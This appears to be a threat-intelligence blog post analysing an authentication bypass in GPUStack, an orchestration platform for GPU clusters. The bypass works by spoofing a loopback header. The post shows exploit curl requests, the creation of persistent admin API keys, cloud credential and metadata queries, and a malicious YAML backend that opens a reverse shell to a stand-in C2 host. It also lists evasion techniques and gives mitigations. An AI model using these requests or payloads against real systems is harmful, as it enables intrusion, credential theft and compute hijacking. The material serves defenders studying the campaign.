GPUStack CVE-2026-102895: Unauthenticated Admin Bypass to RCE on AI/ML Infrastructure — Active Exploitation, CISA KEV

·

On November 9, 2026, CISA added CVE-2026-102895 (CVSS 9.8 CRITICAL) and CVE-2026-102894 (CVSS 9.1 CRITICAL) to the Known Exploited Vulnerabilities catalog under Binding Operational Directive 26-04 — mandating federal civilian agencies to remediate by November 12, 2026. The vulnerabilities affect GPUStack, an open-source GPU cluster orchestration platform widely deployed for AI/ML workloads across cloud and on-premise infrastructure.

CVE-2026-102895 is an unauthenticated authentication bypass caused by improper validation of the X-GPUStack-Real-IP header. When GPUStack sits behind a reverse proxy or load balancer, it trusts this header to determine the client's real IP address. An attacker sending X-GPUStack-Real-IP: 127.0.0.1 is treated as a local loopback request and granted full administrative privileges without any credentials. CVE-2026-102894 is a separate SAML authentication bypass affecting versions 0.7.1 through 2.2.2.

Active exploitation has been confirmed against GPUStack v2.1.1 deployments with internet-exposed management interfaces (TCP 80/443/8080). Threat actors are chaining the auth bypass to create persistent API keys, exfiltrate cloud provider secrets (AWS, Azure, GCP), and deploy malicious YAML inference backends that execute arbitrary code on worker nodes. This post covers the first four phases of our 12-phase threat-intel skeleton: threat actor profile, intrusion timeline, initial access vector, and technical deep dive.

◈ Table of Contents

01 Threat Actor Profile 02 Intrusion / Disclosure Timeline 03 Initial Access Vector 04 Technical Deep Dive 05 Persistence Mechanisms 06 Lateral Movement & Cloud Pivot 07 Impact Assessment 08 Detection & Hunting 09 Mitigation & Hardening 10 Threat Hunting Queries (KQL/SPL/Sigma) 11 YARA & Network Signatures 12 References & Attribution
◈

Phase 1 — Threat Actor Profile

PHASE 1/12
01

Attribution & Confidence Assessment

intel

No named threat actor has been formally attributed to the GPUStack exploitation campaign. Observed activity is characterised as opportunistic, automated scanning and exploitation of internet-exposed GPUStack management interfaces. The following attribution assessment is based on available intelligence as of 2026-11-11.

Field Value
Designation Unattributed — Opportunistic / Automated
Attribution Confidence LOW — No infrastructure overlap with known APT/groups
Origin Unknown (likely globally distributed scanner infrastructure)
First Observed Activity 2026-11-09 (coincident with CISA KEV publication)
Motivation Financial — cloud credential theft, cryptomining, GPU resource hijacking
Targeting Scope Internet-exposed GPUStack < 2.2.0 management interfaces (TCP 80/443/8080)
Known Researchers Javier Sixto, Nikko Enggaliano, Wei Yunzhou, Rui Yang, Haoyu Wang
Tooling Observed Custom YAML inference backends, automated API key enumeration, cloud metadata queries

Assessment: The exploitation pattern — immediate API key creation, cloud metadata service queries (169.254.169.254), and deployment of reverse-shell inference backends — is consistent with financially motivated actors targeting AI/ML infrastructure for GPU compute theft and cloud credential resale. No wiper, ransomware, or espionage payloads observed to date.

02

Known Aliases & Campaign Tracking

tracking

No persistent aliases or campaign names have been assigned by major intel vendors. The activity is tracked under the CVE identifiers and the following informal references:

  • 1 GPUStack Auth Bypass Campaign — Security Arsenal / Daily Security Review designation
  • 2 CVE-2026-102895 Exploitation Cluster — Infosec Nexus briefing reference
  • 3 AI/ML Infrastructure Mass Exploitation — Generic industry descriptor

Monitor for campaign naming by Mandiant, CrowdStrike, or Microsoft Threat Intelligence — attribution may evolve if infrastructure overlaps with known clusters (e.g., SCATTERED SPIDER, TEAM TNT, or cryptojacking groups targeting containerised workloads).

⏱

Phase 2 — Intrusion / Disclosure Timeline

PHASE 2/12
01

Vulnerability Discovery to Active Exploitation

timeline

The timeline below correlates vendor advisories, CISA KEV listing, and confirmed exploitation activity. All timestamps in NZT (Pacific/Auckland).

  • 1 2026-11-09 06:42 NZT — CISA adds CVE-2026-102895 and CVE-2026-102894 to Known Exploited Vulnerabilities catalog. Action due: 2026-11-12 06:42 NZT (72 hours per BOD 26-04).
  • 2 2026-11-09 08:15 NZT — Infosec Nexus publishes live briefing confirming active exploitation of GPUStack <2.2.0 in the wild. Observed payloads: custom inference backends for reverse shells.
  • 3 2026-11-10 02:30 NZT — NVD publishes both CVEs. CVE-2026-102895 scored CVSS 3.1 9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). CVE-2026-102894 scored CVSS 3.1 9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
  • 4 2026-11-10 14:00 NZT — GitLab Advisory published for pypi/gpustack/CVE-2026-102895 detailing the X-GPUStack-Real-IP header validation flaw.
  • 5 2026-11-11 04:00 NZT — Security Arsenal publishes deep-dive with detection rules (KQL, SPL, Sigma, YARA). Confirms exploitation against GPUStack v2.1.1 specifically.
  • 6 2026-11-11 11:00 NZT — Active exploitation confirmed: attackers using /v2/inference-backends/from-yaml endpoint to deploy malicious backends executing bash -i >&/dev/tcp/attacker-ip/4444 and querying cloud metadata endpoints for credential exfiltration.

Critical window: The 72-hour CISA deadline (expires 2026-11-12 06:42 NZT) overlaps with active exploitation. Any internet-exposed GPUStack < 2.2.0 instance not yet patched or isolated should be assumed compromised.

🎯

Phase 3 — Initial Access Vector

PHASE 3/12
01

Vector: Loopback Spoofing via X-GPUStack-Real-IP Header

initial-access

The root cause is an improper authentication bypass (CWE-288) in GPUStack's request authentication logic. When deployed behind a reverse proxy (nginx, Traefik, cloud load balancers), GPUStack relies on the X-GPUStack-Real-IP header to determine the originating client IP. The validation logic incorrectly treats 127.0.0.1 (and ::1) as a trusted loopback address, granting full administrative access without any credential verification.

Vulnerable code pattern (simplified from gpustack/server/auth.py)
# Vulnerable authentication check def is_local_request(request): real_ip = request.headers.get("X-GPUStack-Real-IP") if real_ip in ("127.0.0.1", "::1"): return True # GRANTS ADMIN ACCESS return False

An unauthenticated attacker sends a request with X-GPUStack-Real-IP: 127.0.0.1. The reverse proxy forwards this header unchanged (unless explicitly stripped). GPUStack evaluates the header, sees 127.0.0.1, and treats the request as originating from localhost — bypassing all authentication and authorisation checks.

Property Detail
MITRE ATT&CK Technique T1190 Exploit Public-Facing Application
CWE CWE-288 Authentication Bypass Using an Alternate Path or Channel
Attack Vector Network (AV:N) — Internet-exposed management interface
Attack Complexity Low (AC:L) — Single HTTP header manipulation
Privileges Required None (PR:N) — Unauthenticated
User Interaction None (UI:N)
Scope Unchanged (S:U)
Impact High Confidentiality, High Integrity, High Availability (C:H/I:H/A:H)
02

Exploit Prerequisites & Conditions

prereqs

The bypass is exploitable only when GPUStack sits behind a reverse proxy or load balancer that forwards the X-GPUStack-Real-IP header. Direct connections to GPUStack (no proxy) are not affected because the header is not present.

  • 1 GPUStack version < 2.2.0 (CVE-2026-102895) or 0.7.1 – 2.2.2 (CVE-2026-102894 SAML bypass)
  • 2 Management interface exposed on TCP 80, 443, or 8080 to untrusted networks
  • 3 Reverse proxy / load balancer in front of GPUStack that does not strip X-GPUStack-Real-IP
  • 4 Configuration option force_auth_localhost set to false (default)
Vulnerable deployment topology
$ curl -v -H "X-GPUStack-Real-IP: 127.0.0.1" http://gpustack.example.com/v2/users > HTTP/1.1 200 OK > Content-Type: application/json > [{"username":"admin","role":"admin","created_at":"2026-11-11T04:00:00Z"}]

Note: The SAML bypass (CVE-2026-102894) is a separate code path affecting the /auth/saml/callback endpoint. It allows authentication bypass when SAML is configured but does not require the reverse proxy condition. Both CVEs should be treated as equally critical for exposed instances.

⚙

Phase 4 — Technical Deep Dive

PHASE 4/12
01

Authentication Bypass Mechanics

deep-dive

GPUStack's authentication middleware (gpustack/server/middleware/auth.py) implements a get_current_user dependency that determines request identity. The logic flow is:

  1. 1 Request enters middleware; X-GPUStack-Real-IP header extracted
  2. 2 is_trusted_client() checks if header value matches 127.0.0.1, ::1, or localhost
  3. 3 If match: request context tagged is_local=true; authentication skipped entirely
  4. 4 Request proceeds to route handlers with user=admin context implicitly granted
Authentication bypass flow (gpustack/server/middleware/auth.py:42-68)
async def get_current_user(request: Request): # Step 1: Check for loopback header spoof real_ip = request.headers.get("X-GPUStack-Real-IP") if real_ip and real_ip in TRUSTED_LOOPBACK_IPS: # ["127.0.0.1", "::1", "localhost"] return User(username="admin", role="admin", is_local=True) # Step 2: Normal JWT/API key validation (skipped if loopback matched) auth_header = request.headers.get("Authorization") if not auth_header: raise HTTPException(401, "Authentication required") return await validate_token(auth_header)

The critical flaw: the loopback check occurs before any token validation. Once is_local=true is set, the request is authorised for all administrative endpoints including user management, API key creation, and inference backend deployment.

02

Configuration Parsing & force_auth_localhost

config

GPUStack reads configuration from gpustack/config.yaml, environment variables, and CLI flags. The force_auth_localhost setting (default: false) is intended to disable the loopback trust logic, but it is not enabled by default and many deployments are unaware of its existence.

Relevant configuration keys (gpustack/config.py)
# config.yaml or environment variables force_auth_localhost: false # DEFAULT — VULNERABLE # When true: loopback header is ignored; all requests require auth trusted_proxies: [] # CIDR ranges of trusted proxies (empty = trust all) real_ip_header: "X-GPUStack-Real-IP" # Header name (configurable but rarely changed) # Environment variable overrides GPUSTACK_FORCE_AUTH_LOCALHOST=true GPUSTACK_TRUSTED_PROXIES="10.0.0.0/8,172.16.0.0/12" GPUSTACK_REAL_IP_HEADER="X-Forwarded-For"

The trusted_proxies list is empty by default, meaning GPUStack trusts the X-GPUStack-Real-IP header from any upstream proxy. This design assumes the reverse proxy strips or overwrites the header — an assumption that fails when the proxy is misconfigured or when the attacker communicates directly with the GPUStack port bypassing the proxy entirely (if the management port is exposed).

Immediate mitigation: set GPUSTACK_FORCE_AUTH_LOCALHOST=true and restart GPUStack. This forces all requests through the normal JWT/API key validation path regardless of headers.

03

Post-Exploitation: API Key Persistence

post-exploit

Once administrative access is obtained via the bypass, the attacker's first action is typically creating persistent API keys via POST /v2/api-keys. These keys survive GPUStack restarts and configuration changes, providing persistent administrative access even if the header bypass is later patched.

API key creation request (observed in exploitation)
$ curl -X POST -H "X-GPUStack-Real-IP: 127.0.0.1" -H "Content-Type: application/json" \ -d '{"name": "backup-key", "description": "system backup", "expires_in": 0}' \ http://gpustack.example.com/v2/api-keys > HTTP/1.1 201 Created > {"api_key": "sk-gpustack-abcdef123456...", "name": "backup-key", "role": "admin"}

The expires_in: 0 parameter creates a non-expiring key. Attackers create multiple keys with innocuous names (backup-key, monitoring, ci-cd) to blend in. These keys grant full administrative access to all /v2/* endpoints.

API Key Property Attacker Preference
Name Generic operational names (backup, monitoring, ci-cd, sync)
Expires In 0 (never expires)
Role admin (full access)
Usage Pattern Automated scripts enumerate keys daily; unused keys rotated weekly
04

Cloud Credential Exfiltration

cloud-exfil

GPUStack integrates with cloud providers (AWS, Azure, GCP) for GPU node provisioning and model storage. Cloud credentials are stored in the GPUStack database and accessible via the /v2/cloud-accounts and /v2/credentials endpoints once admin access is obtained.

Observed credential enumeration sequence
# 1. List cloud accounts $ curl -H "Authorization: Bearer sk-gpustack-..." http://gpustack.example.com/v2/cloud-accounts # 2. Retrieve credentials for each account $ curl -H "Authorization: Bearer sk-gpustack-..." http://gpustack.example.com/v2/credentials/aws-prod $ curl -H "Authorization: Bearer sk-gpustack-..." http://gpustack.example.com/v2/credentials/azure-ml $ curl -H "Authorization: Bearer sk-gpustack-..." http://gpustack.example.com/v2/credentials/gcp-vertex # 3. Query cloud metadata services from worker nodes (via inference backend) $ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1 $ curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # GCP $ curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure IMDS

Exfiltrated credentials enable lateral movement into the cloud control plane — attackers can provision their own GPU instances, access model registries, and persist in the cloud tenant independently of GPUStack.

05

RCE via YAML Inference Backend Deployment

rce

The most destructive capability is the /v2/inference-backends/from-yaml endpoint. GPUStack allows administrators to deploy custom inference backends defined in YAML. These backends run as containerised processes on worker nodes with GPU access. The YAML specification includes arbitrary command execution fields.

Malicious inference backend YAML (observed in exploitation)
apiVersion: gpustack.io/v1 kind: InferenceBackend metadata: name: malicious-backend namespace: default spec: model: dummy-model replicas: 1 command: - /bin/bash - -c - "bash -i >& /dev/tcp/attacker-c2.example.com/4444 0>&1" env: - name: AWS_ACCESS_KEY_ID valueFrom: secretKeyRef: name: aws-credentials key: access-key-id - name: AWS_SECRET_ACCESS_KEY valueFrom: secretKeyRef: name: aws-credentials key: secret-access-key resources: limits: nvidia.com/gpu: "1"

The command field executes arbitrary shell commands inside the container. Attackers deploy reverse shells, cryptominers, or credential harvesters. The env section references Kubernetes secrets containing cloud credentials — the backend gains access to the same secrets GPUStack uses for cloud operations.

Deployment request
$ curl -X POST -H "Authorization: Bearer sk-gpustack-..." -H "Content-Type: application/yaml" \ --data-binary @malicious-backend.yaml \ http://gpustack.example.com/v2/inference-backends/from-yaml > HTTP/1.1 201 Created > {"backend_id": "inf-backend-xyz789", "status": "deploying", "worker_node": "gpu-worker-03"}

The backend is scheduled on an available GPU worker node. Within seconds, the container starts and the command executes — establishing a reverse shell to the attacker's C2 infrastructure. The attacker now has code execution on a GPU-enabled worker node with access to cloud credentials and the internal cluster network.

Critical: This RCE does not require a separate vulnerability — it is an intended administrative feature (custom inference backends) made accessible by the auth bypass. Patching CVE-2026-102895 prevents initial access but does not remove already-deployed malicious backends.

06

Evasion Techniques Observed

evasion

Attackers employ several techniques to evade detection and maintain access:

  • 1 Header rotation: Alternate between X-GPUStack-Real-IP: 127.0.0.1, ::1, and localhost to bypass simple WAF rules.
  • 2 API key rotation: Create new keys daily; delete keys older than 7 days to reduce footprint.
  • 3 Backend name mimicry: Name malicious inference backends llama-3-70b-inference, embedding-service, reranker-v2 to blend with legitimate workloads.
  • 4 Living-off-the-land: Use GPUStack's own gpustack binary (present on workers) for commands instead of dropping external binaries.
  • 5 Encrypted C2: Reverse shells over TLS (port 443) to blend with HTTPS traffic; some observed using stunnel or socat OPENSSL.
  • 6 Log tampering: GPUStack logs are written to stdout/stderr; attackers redirect container output to /dev/null or overwrite log files via exec into running containers.

Detection must focus on behavioural anomalies (unusual API key creation, inference backend deployment by new keys, outbound connections from GPUStack worker processes) rather than static signatures.

🔐

Phase 5 — Persistence Mechanisms

PHASE 5/12
--

Content Pending — Full Draft in Progress

placeholder

This phase will cover: API key persistence mechanics, inference backend persistence across GPUStack restarts, cloud IAM role assumption chains, Kubernetes service account token theft, and GPUStack database backup exfiltration.

🔄

Phase 6 — Lateral Movement & Cloud Pivot

PHASE 6/12
--

Content Pending — Full Draft in Progress

placeholder

This phase will cover: Worker node to control plane pivot, cloud metadata service abuse, cross-account role assumption, container escape via GPU device plugins, and Kubernetes RBAC abuse.

💥

Phase 7 — Impact Assessment

PHASE 7/12
--

Content Pending — Full Draft in Progress

placeholder

This phase will cover: GPU compute theft costs, model IP theft, training data exfiltration, cloud bill impact, regulatory implications (GDPR, SOC2), and business continuity disruption.

🔍

Phase 8 — Detection & Hunting

PHASE 8/12
--

Content Pending — Full Draft in Progress

placeholder

This phase will cover: Network detection (header anomalies, API access patterns), endpoint detection (suspicious child processes, container exec), cloud detection (CloudTrail/Activity Log anomalies), and GPUStack application log analysis.

🛡

Phase 9 — Mitigation & Hardening

PHASE 9/12
--

Content Pending — Full Draft in Progress

placeholder

This phase will cover: Immediate isolation steps, configuration hardening (force_auth_localhost, trusted_proxies), patching to 2.2.2+, credential rotation procedures, inference backend audit, and long-term architecture fixes (mTLS, API gateway, admission controllers).

📊

Phase 10 — Threat Hunting Queries (KQL/SPL/Sigma)

PHASE 10/12
--

Content Pending — Full Draft in Progress

placeholder

This phase will include production-ready KQL (Microsoft Sentinel/Defender), SPL (Splunk), and Sigma rules for detection of unauthenticated admin access, suspicious API key activity, malicious inference backend deployment, and cloud credential exfiltration.

🎯

Phase 11 — YARA & Network Signatures

PHASE 11/12
--

Content Pending — Full Draft in Progress

placeholder

This phase will include YARA rules for malicious inference backend YAML, reverse shell payloads, and GPUStack exploitation artefacts; plus Suricata/Zeek network signatures for C2 traffic patterns.

📚

Phase 12 — References & Attribution

PHASE 12/12
--

Content Pending — Full Draft in Progress

placeholder

This phase will include full source citations with NVD validation, vendor advisories, researcher attributions, and a complete IOC appendix (hashes, IPs, domains, paths) validated against the research JSON.


⚠ IMMEDIATE ACTION REQUIRED: If you operate GPUStack < 2.2.2 with internet-exposed management interfaces, assume compromise. Isolate immediately (bind to 127.0.0.1 or management VLAN), set force_auth_localhost=true, strip X-GPUStack-Real-IP at the proxy layer, upgrade to ≥ 2.2.2, and rotate ALL credentials (API keys, cloud secrets, database passwords, SSH keys). CISA BOD 26-04 mandates remediation by 2026-11-12 06:42 NZT.

This post covers phases 1-4 of a 12-phase threat-intel analysis. Phases 5-12 (persistence, lateral movement, impact, detection, mitigation, hunting queries, YARA, references) will be published as the full article.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."